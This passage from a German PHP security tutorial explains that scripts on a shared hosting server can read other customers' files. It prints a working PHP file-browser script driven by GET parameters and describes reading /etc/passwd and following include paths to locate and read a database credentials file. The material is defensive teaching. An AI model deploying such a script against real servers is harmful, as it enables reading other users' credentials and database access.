Der Angreifer kann nicht nur beliebige Dateien auf dem gemeinsam genutzten Server lesen, sondern auch ein Skript erstellen, das das Dateisystem durchsuchen kann. Da die meisten Ihrer sensiblen Dateien nicht im Home-Verzeichnis Ihrer Website gespeichert werden, wird diese Art von Skript im Allgemeinen verwendet, um den Speicherort Ihrer Quelldateien zu ermitteln. Bitte sehen Sie sich das folgende Beispiel an:
<pre class="brush:php;toolbar:false"> <?php if (isset($_GET['dir'])) { ls($_GET['dir']); } elseif (isset($_GET['file'])) { cat($_GET['file']); } else { ls('/'); } function cat($file) { echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8')); } function ls($dir) { $handle = dir($dir); while ($filename = $handle->read()) { $size = filesize("$dir$filename"); if (is_dir("$dir$filename")) { $type = 'dir'; $filename .= '/'; } else { $type = 'file'; } if (is_readable("$dir$filename")) { $line = str_pad($size, 15); $line .= "<a href=\"{$_SERVER['PHP_SELF']}"; $line .= "?$type=$dir$filename\">$filename</a>"; } else { $line = str_pad($size, 15); $line .= $filename; } echo "$line\n"; } $handle->close(); } ?>
Ein Angreifer kann sich zunächst die Datei /etc/passwd oder das Verzeichnis /home ansehen, um eine Liste der Benutzernamen auf dem Server zu erhalten. Der Speicherort von Quelldateien, die außerhalb des Home-Verzeichnisses der Website gespeichert sind, kann über Sprachstrukturen wie include oder require ermittelt werden. Betrachten Sie beispielsweise die folgende Skriptdatei /home/victim/public_html/admin.php:
<?php include '../inc/db.inc'; /* ... */ ?>
Wenn es einem Angreifer gelingt, den Quellcode der Datei anzuzeigen, kann er den Speicherort von db.inc ermitteln und mit der Funktion readfile() deren Inhalt offenlegen und Zugriff auf die Datenbank erhalten. Daher schützt das Speichern von db.inc außerhalb des Home-Verzeichnisses der Website in dieser Umgebung nicht.
Dieser Angriff veranschaulicht, warum alle Quelldateien auf einem gemeinsam genutzten Server als öffentlich betrachtet und die Datenbank zum Speichern aller sensiblen Daten ausgewählt werden sollten.
Das Obige ist der Inhalt des PHP-Sicherheitsdateisystems. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website (www.php.org). php.cn)!